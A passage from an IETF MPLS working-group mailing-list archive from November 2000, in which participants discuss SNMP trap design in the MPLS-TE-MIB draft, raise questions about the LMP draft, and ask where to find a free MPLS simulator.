mplsTunnelInstance, >> mplsTunnelAdminStatus and >> mplsTunnelOperStatus. >> >> Since we use mplsTunnelIndex, mplsTunnelInstance and >> mplsTunnelIngressLSRId >> (triplet) to uniquely identify a Tunnel, the >> mplsTunnelIngressLSRId value >> too will be required as an object during the Trap generation. >> Should this >> value too be passed when a trap is generated? >> >> 2) The Description for "mplsTunnelTrapEnable" deals with the >> generation of >> mplsTunnelUp and mplsTunnelDown. Should the >> mplsTunnelRerouted be added too? >> or mplsTunnelRerouted trap needs to generated irrespective of the >> "mplsTunnelTrapEnable" value? >> >> thanks in advance >> with best regards >> Mani >> > From owner-mpls@UU.NET Thu Nov 2 13:51:19 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA15966 for ; Thu, 2 Nov 2000 13:51:19 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnpj24402; Thu, 2 Nov 2000 18:50:04 GMT Received: by mail-control.mail.uu.net id QQjnpj24011 for mpls-outgoing; Thu, 2 Nov 2000 18:49:32 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjnpj23986 for ; Thu, 2 Nov 2000 18:49:14 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjnpj12754 for ; Thu, 2 Nov 2000 18:48:49 GMT Received: from rimmer.orchestream.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail.orchestream.com [195.153.64.98]) id QQjnpj21886 for ; Thu, 2 Nov 2000 18:48:49 GMT Received: from s1000.orchestream.com (s1000.orchestream.com [192.168.0.16]) by rimmer.orchestream.com (8.9.3/8.9.3) with ESMTP id SAA06881; Thu, 2 Nov 2000 18:45:45 GMT Received: by s1000.orchestream.com with Internet Mail Service (5.5.2650.21) id ; Thu, 2 Nov 2000 18:46:40 -0000 Message-ID: From: "Morgan, Richard" To: "'Thomas D. Nadeau'" Cc: mpls@UU.NET Subject: RE: Doubts in draft-ietf-mpls-te-mib-04.txt Date: Thu, 2 Nov 2000 18:46:39 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Thanks for the speedy reply. On further thought it also occurs to me that a management system would also be interested in a LSP resizing its bandwidth reservation. Rich > No, according to my understanding (and implementation) > of the current traps in the MPLS-TE-MIB, no trap would > be issued for mis-configuration of a tunnel. I am however, > open to the possibility of adding such a trap if there > is enough support for it. I would like to hear from others > as to what their opinion is. In particular, I would like > to hear from operators, since such traps can adversely > impact or improve their networks. > > --Tom From owner-mpls@UU.NET Thu Nov 2 14:03:24 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA19069 for ; Thu, 2 Nov 2000 14:03:24 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnpk18166; Thu, 2 Nov 2000 19:01:45 GMT Received: by mail-control.mail.uu.net id QQjnpk28612 for mpls-outgoing; Thu, 2 Nov 2000 19:01:24 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjnpk28551 for ; Thu, 2 Nov 2000 19:01:20 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjnpk06334 for ; Thu, 2 Nov 2000 19:01:00 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjnpk16477 for ; Thu, 2 Nov 2000 19:01:00 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id OAA22427 for mpls@uu.net; Thu, 2 Nov 2000 14:00:59 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjnpk27202 for ; Thu, 2 Nov 2000 19:00:27 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjnpj00008 for ; Thu, 2 Nov 2000 18:58:24 GMT Received: from rtp-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97]) id QQjnpj08703 for ; Thu, 2 Nov 2000 18:58:24 GMT Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26]) by rtp-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id NAA10160; Thu, 2 Nov 2000 13:56:42 -0500 (EST) Received: from tnadeau-pc02.cisco.com ([161.44.204.102]) by bucket.cisco.com (Mirapoint) with ESMTP id AAX03025; Thu, 2 Nov 2000 13:58:20 -0500 (EST) Message-Id: <4.3.2.7.2.20001102135250.04dec030@bucket.cisco.com> X-Sender: tnadeau@bucket.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 02 Nov 2000 13:55:13 -0500 To: "Faisal S. Naik" , "mpls uunet" From: "Thomas D. Nadeau" Subject: Re: Doubts in draft-ietf-mpls-te-mib-04.txt In-Reply-To: <002d01c044f9$e2ddb520$cd3987cb@faisal-s> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk Hi, >As for the management of LSp is concerned, my knowlege was limited to the >fact that one could only manage, layer 3 devices... Anyway i will read the >draft for mpls te-mib as specified here.. Can i get some more info on that? The MPLS-TE-MIB will not show you packet traces like you are looking for. People still use data analyzers for that. :P The MPLS-TE-MIB will show TE tunnels that are configured, and their status including things like counters. You can find the MPLS-TE-MIB at: http://www.ietf.org/internet-drafts/draft-ietf-mpls-te-mib-04.txt --Tom >Regards, >-----Original Message----- >From: Morgan, Richard >Cc: mpls@UU.NET >Date: Thursday, November 02, 2000 10:48 PM >Subject: RE: Doubts in draft-ietf-mpls-te-mib-04.txt > > > > > >I note that there is not a trap to signal that an LSP has been configured, > >only that it has come up or has gone down. Say I have a piece of management > >software that moniters LSPs on a device would I be notified should someone > >attempt to create an LSP but it failed, ie it never changed state from down > >and hence it never sent a notification trap? > > > >Thanks > > > >Rich > > > > > >> Hello Thomas > >> > >> I have the following doubts and can you please clarify. > >> > >> 1) The Objects of the traps mplsTunnelUp, mplsTunnelDown, and > >> mplsTunnelRerouted have been > >> specified as > >> mplsTunnelIndex, > >> mplsTunnelInstance, > >> mplsTunnelAdminStatus and > >> mplsTunnelOperStatus. > >> > >> Since we use mplsTunnelIndex, mplsTunnelInstance and > >> mplsTunnelIngressLSRId > >> (triplet) to uniquely identify a Tunnel, the > >> mplsTunnelIngressLSRId value > >> too will be required as an object during the Trap generation. > >> Should this > >> value too be passed when a trap is generated? > >> > >> 2) The Description for "mplsTunnelTrapEnable" deals with the > >> generation of > >> mplsTunnelUp and mplsTunnelDown. Should the > >> mplsTunnelRerouted be added too? > >> or mplsTunnelRerouted trap needs to generated irrespective of the > >> "mplsTunnelTrapEnable" value? > >> > >> thanks in advance > >> with best regards > >> Mani > >> > > From owner-mpls@UU.NET Thu Nov 2 14:14:31 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22700 for ; Thu, 2 Nov 2000 14:14:30 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnpk04924; Thu, 2 Nov 2000 19:13:18 GMT Received: by mail-control.mail.uu.net id QQjnpk07463 for mpls-outgoing; Thu, 2 Nov 2000 19:12:44 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjnpk07446 for ; Thu, 2 Nov 2000 19:12:38 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjnpk24520 for ; Thu, 2 Nov 2000 19:12:29 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjnpk03743 for ; Thu, 2 Nov 2000 19:12:28 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id OAA24535 for mpls@uu.net; Thu, 2 Nov 2000 14:12:27 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjnpk07403 for ; Thu, 2 Nov 2000 19:11:59 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjnpk02050 for ; Thu, 2 Nov 2000 19:11:56 GMT Received: from rtp-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97]) id QQjnpk27273 for ; Thu, 2 Nov 2000 19:11:56 GMT Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26]) by rtp-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id OAA10812; Thu, 2 Nov 2000 14:10:14 -0500 (EST) Received: from tnadeau-pc02.cisco.com ([161.44.204.102]) by bucket.cisco.com (Mirapoint) with ESMTP id AAX03237; Thu, 2 Nov 2000 14:11:53 -0500 (EST) Message-Id: <4.3.2.7.2.20001102140534.04dee360@bucket.cisco.com> X-Sender: tnadeau@bucket.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 02 Nov 2000 14:08:40 -0500 To: "Morgan, Richard" From: "Thomas D. Nadeau" Subject: RE: Doubts in draft-ietf-mpls-te-mib-04.txt Cc: mpls@UU.NET In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk Hi, >On further thought it also occurs to me that a management system would also >be interested in a LSP resizing its bandwidth reservation. We have added bandwidth resizing as part of the mplsTunnelRerouted trap in version -05, which will be out shortly. --Tom From owner-mpls@UU.NET Thu Nov 2 15:14:45 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA08046 for ; Thu, 2 Nov 2000 15:14:45 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnpo28651; Thu, 2 Nov 2000 20:14:17 GMT Received: by mail-control.mail.uu.net id QQjnpo23805 for mpls-outgoing; Thu, 2 Nov 2000 20:13:58 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjnpo23800 for ; Thu, 2 Nov 2000 20:13:56 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjnpo25265 for ; Thu, 2 Nov 2000 20:13:34 GMT Received: from mail.hamdard.net.pk by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [203.135.57.5]) id QQjnpo07867 for ; Thu, 2 Nov 2000 20:13:31 GMT Received: from faisal-s ([203.135.57.217]) by mail.hamdard.net.pk (8.9.3/8.9.3) with SMTP id BAA22001; Fri, 3 Nov 2000 01:12:32 +0500 Message-ID: <009e01c04509$b1560240$cd3987cb@faisal-s> From: "Faisal S. Naik" To: Subject: Re: Doubts in draft-ietf-mpls-te-mib-04.txt Date: Fri, 3 Nov 2000 01:15:26 +0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hello Thomas, I feel Richard is right in saying that how will the management software tell the operator in case of a failed LSP creation.??? Why do u feel that sending a trap for this type of information will adversely affect the performance of a particular network. Any comments. Bye -----Original Message----- From: Thomas D. Nadeau To: Morgan, Richard Cc: mpls@UU.NET Date: Thursday, November 02, 2000 10:57 PM Subject: RE: Doubts in draft-ietf-mpls-te-mib-04.txt > > Hi Richard, > >>I note that there is not a trap to signal that an LSP has been configured, >>only that it has come up or has gone down. Say I have a piece of management >>software that moniters LSPs on a device would I be notified should someone >>attempt to create an LSP but it failed, ie it never changed state from down >>and hence it never sent a notification trap? > > No, according to my understanding (and implementation) >of the current traps in the MPLS-TE-MIB, no trap would >be issued for mis-configuration of a tunnel. I am however, >open to the possibility of adding such a trap if there >is enough support for it. I would like to hear from others >as to what their opinion is. In particular, I would like >to hear from operators, since such traps can adversely >impact or improve their networks. > > --Tom > > > > >>Thanks >> >>Rich >> >> >> > Hello Thomas >> > >> > I have the following doubts and can you please clarify. >> > >> > 1) The Objects of the traps mplsTunnelUp, mplsTunnelDown, and >> > mplsTunnelRerouted have been >> > specified as >> > mplsTunnelIndex, >> > mplsTunnelInstance, >> > mplsTunnelAdminStatus and >> > mplsTunnelOperStatus. >> > >> > Since we use mplsTunnelIndex, mplsTunnelInstance and >> > mplsTunnelIngressLSRId >> > (triplet) to uniquely identify a Tunnel, the >> > mplsTunnelIngressLSRId value >> > too will be required as an object during the Trap generation. >> > Should this >> > value too be passed when a trap is generated? >> > >> > 2) The Description for "mplsTunnelTrapEnable" deals with the >> > generation of >> > mplsTunnelUp and mplsTunnelDown. Should the >> > mplsTunnelRerouted be added too? >> > or mplsTunnelRerouted trap needs to generated irrespective of the >> > "mplsTunnelTrapEnable" value? >> > >> > thanks in advance >> > with best regards >> > Mani >> > > From owner-mpls@UU.NET Thu Nov 2 15:33:57 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA12438 for ; Thu, 2 Nov 2000 15:33:57 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnpq04909; Thu, 2 Nov 2000 20:32:52 GMT Received: by mail-control.mail.uu.net id QQjnpq25599 for mpls-outgoing; Thu, 2 Nov 2000 20:32:17 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjnpq25588 for ; Thu, 2 Nov 2000 20:32:15 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjnpq26022 for ; Thu, 2 Nov 2000 20:32:06 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjnpq11782 for ; Thu, 2 Nov 2000 20:32:05 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id PAA06989 for mpls@uu.net; Thu, 2 Nov 2000 15:32:04 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjnpq25551 for ; Thu, 2 Nov 2000 20:31:36 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjnpq08039 for ; Thu, 2 Nov 2000 20:31:20 GMT Received: from rtp-msg-core-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97]) id QQjnpq02717 for ; Thu, 2 Nov 2000 20:31:19 GMT Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26]) by rtp-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id PAA14250; Thu, 2 Nov 2000 15:29:37 -0500 (EST) Received: from tnadeau-pc02.cisco.com ([161.44.204.102]) by bucket.cisco.com (Mirapoint) with ESMTP id AAX04440; Thu, 2 Nov 2000 15:31:17 -0500 (EST) Message-Id: <4.3.2.7.2.20001102152554.02717240@bucket.cisco.com> X-Sender: tnadeau@bucket.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 02 Nov 2000 15:27:29 -0500 To: "Faisal S. Naik" , From: "Thomas D. Nadeau" Subject: Re: Doubts in draft-ietf-mpls-te-mib-04.txt In-Reply-To: <009e01c04509$b1560240$cd3987cb@faisal-s> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk >I feel Richard is right in saying that how will the management software tell >the operator in case of a failed LSP creation.??? Why do u feel that sending >a trap for this type of information will adversely affect the performance of >a particular network. >Any comments. It is not that I feel either way. I want to hear how operators feel. It is their networks which will be affected by the increased load of additional inform traffic. BTW, one option is to have the NMS which just tried to create the tunnel go back and check its operStatus after a second or two. If the operStatus is still down, then the tunnel was not signalled correctly. --Tom From owner-mpls@UU.NET Fri Nov 3 09:13:35 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA22618 for ; Fri, 3 Nov 2000 09:13:35 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnsi05416; Fri, 3 Nov 2000 14:13:08 GMT Received: by mail-control.mail.uu.net id QQjnsi04690 for mpls-outgoing; Fri, 3 Nov 2000 14:12:34 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjnsi04685 for ; Fri, 3 Nov 2000 14:12:30 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjnsi19447 for ; Fri, 3 Nov 2000 14:12:08 GMT Received: from fsnt.future.futsoft.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [203.197.140.35]) id QQjnsi03894 for ; Fri, 3 Nov 2000 14:12:06 GMT Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com (Content Technologies SMTPRS 2.0.15) with ESMTP id ; Fri, 03 Nov 2000 19:45:00 +0530 Received: from manis (manis.future.futsoft.com [10.0.6.16]) by kailash.future.futsoft.com (8.7.1/8.7.1) with SMTP id TAA27494; Fri, 3 Nov 2000 19:28:19 +0530 Reply-To: From: "Manikantan S" To: Cc: Subject: "draft-ietf-mpls-lmp-00.txt" - Doubts. Date: Fri, 3 Nov 2000 19:35:35 +0530 Message-Id: <001001c0459f$23c36b20$1006000a@future.futsoft.com> MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hello Jonathan I read the draft "draft-ietf-mpls-lmp-00.txt". I have a few doubts, (forgive me if I sound stupid) can you please clarify them. Thanks. 1) My understanding is that - LMP is for taking care of uni directional Links. - The sequence of BeginVerify Message to the Test messages is associated with a set of links. a) When indicated as unidirectional, I assume that the Upstream node should initiate the sequence. How does an LSR know that is an upstream for a Link? (Please indicate if I am missing something). b) Will there be a possibility of both the upstream LSR and the downstream LSR initiate the BeginVerify ... Test message sequence for a set of link at the same time? i.e. will there be a Race condition? If so how should this be handled? 2) In Section 8.1, we have the FSM and the following for the HelloConfigNack, | 0 | 1 | 2 | -----------------------------|-----|-----|-----| | | | | Receive HelloConfigNack | - | 0 | 2b,d| | | | | a) In state 1, when a HelloConfigNack is received from the Neighbor, there can be two conditions. I) The Hello parameters sent by the Neighbor in NACK message is acceptable locally and hence a new hello message should be generated. If so then the FSM will have value 1a ii) The Hello parameters sent by the Neighbor in NACK message is not acceptable locally and hence no hello message to be generated. If so then the FSM will have value 0. b) In state 2, it is currently marked as 2b,d. I) Can a HelloAck be generated when a NACK is received? I think the conditions mentioned in above question a) will be applicable in this state 2. 3) In Section 9.4.8 it has been stated that " The TestStatusFailure message is transmitted over the control channel and is used to indicate that the Test message was not received. " How can we know that the Test message was not received? 4) In Section 9.6.3 Explanation as "NumChannelFail" is present. This is absent in the "ChannelFailNack" message? Is this a typo? Why do we need two messages "ChannelFailAck" and "ChanelFailNack" message?. We can provide both the "clear" and "failed" channel information in a single message, similar to the LinkSummary messages. Thanks in advance with best regards mani From owner-mpls@UU.NET Fri Nov 3 11:23:08 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA25674 for ; Fri, 3 Nov 2000 11:23:08 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnsr27476; Fri, 3 Nov 2000 16:22:36 GMT Received: by mail-control.mail.uu.net id QQjnsr10298 for mpls-outgoing; Fri, 3 Nov 2000 16:22:01 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjnsr10280 for ; Fri, 3 Nov 2000 16:21:54 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjnsr20262 for ; Fri, 3 Nov 2000 16:21:40 GMT Received: from eden.dei.uc.pt by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: eden.dei.uc.pt [193.137.203.230]) id QQjnsr26299 for ; Fri, 3 Nov 2000 16:21:37 GMT Received: from sasilva (sasilva.dei.uc.pt [10.2.0.43]) by eden.dei.uc.pt (8.11.1/8.11.1) with ESMTP id eA3GLZC31062 for ; Fri, 3 Nov 2000 16:21:35 GMT Message-Id: <200011031621.eA3GLZC31062@eden.dei.uc.pt> From: "=?ISO-8859-1?Q?S=E1_Silva?=" To: Subject: MPLS simulator Date: Fri, 3 Nov 2000 16:20:52 -0000 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1161 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hi Is there any free MPLS simulator? Thanks in advance Jorge (sasilva@dei.uc.pt) From owner-mpls@UU.NET Fri Nov 3 11:23:14 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA25713 for ; Fri, 3 Nov 2000 11:23:14 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnsr12836; Fri, 3 Nov 2000 16:22:26 GMT Received: by mail-control.mail.uu.net id QQjnsr10286 for mpls-outgoing; Fri, 3 Nov 2000 16:21:56 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjnsr10279 for ; Fri, 3 Nov 2000 16:21:53 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjnsr13365 for ; Fri, 3 Nov 2000 16:19:26 GMT Received: from eden.dei.uc.pt by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: eden.dei.uc.pt [193.137.203.230]) id QQjnsr23754 for ; Fri, 3 Nov 2000 16:19:21 GMT Received: from sasilva (sasilva.dei.uc.pt [10.2.0.43]) by eden.dei.uc.pt (8.11.1/8.11.1) with ESMTP id eA3GJ9C17708 for ; Fri, 3 Nov 2000 16:19:09 GMT Message-Id: <200011031619.eA3GJ9C17708@eden.dei.uc.pt> From: "=?ISO-8859-1?Q?S=E1_Silva?=" To: Subject: MPLS simulator Date: Fri, 3 Nov 2000 16:18:26 -0000 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1161 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hi Is there any free MPLS simulator? Thanks in advance From owner-mpls@UU.NET Fri Nov 3 11:54:22 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA04540 for ; Fri, 3 Nov 2000 11:54:21 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnst25020; Fri, 3 Nov 2000 16:53:11 GMT Received: by mail-control.mail.uu.net id QQjnst13477 for mpls-outgoing; Fri, 3 Nov 2000 16:52:43 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjnst13468 for ; Fri, 3 Nov 2000 16:52:36 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjnst06798 for ; Fri, 3 Nov 2000 16:52:01 GMT Received: from dirty.research.bell-labs.com by cmr1.ash.ops.us.uu.net with SMTP (peer crosschecked as: dirty.research.bell-labs.com [204.178.16.6]) id QQjnst23473 for ; Fri, 3 Nov 2000 16:52:01 GMT Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by dirty; Fri Nov 3 11:51:52 EST 2000 Received: from navcomm1.dnrc.bell-labs.com (navcomm1 [135.180.161.50]) by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id LAA20079; Fri, 3 Nov 2000 11:51:52 -0500 (EST) Received: (from gks@localhost) by navcomm1.dnrc.bell-labs.com (8.9.3+Sun/8.9.1) id LAA06323; Fri, 3 Nov 2000 11:49:35 -0500 (EST) Message-ID: X-Mailer: XFMail 1.2 [p0] on Solaris X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii MIME-Version: 1.0 In-Reply-To: <200011031619.eA3GJ9C17708@eden.dei.uc.pt> Date: Fri, 03 Nov 2000 11:49:35 -0400 (EST) From: Ken Swanson To: =?ISO-8859-1?Q?S=E1_Silva?= Subject: RE: MPLS simulator Cc: mpls@UU.NET Sender: owner-mpls@UU.NET Precedence: bulk X-MIME-Autoconverted: from 8bit to quoted-printable by cmr1.ash.ops.us.uu.net id QQjnst25020 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id LAA04540 There are some MPLS patches that can be applied to the NS simulator. http://www.raonet.com/introduction.shtml and http://www-mash.cs.berkeley.edu/ns/tutorial/index.html On 03-Nov-00 Sá Silva wrote: > Hi > > Is there any free MPLS simulator? > > Thanks in advance ---------------------------------- E-Mail: Ken Swanson Date: 03-Nov-00 Time: 11:44:29 This message was sent by XFMail ---------------------------------- From owner-mpls@UU.NET Fri Nov 3 12:11:42 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA08986 for ; Fri, 3 Nov 2000 12:11:41 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnsu14865; Fri, 3 Nov 2000 17:11:02 GMT Received: by mail-control.mail.uu.net id QQjnsu26319 for mpls-outgoing; Fri, 3 Nov 2000 17:10:35 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjnsu26310 for ; Fri, 3 Nov 2000 17:10:26 GMT Received: from 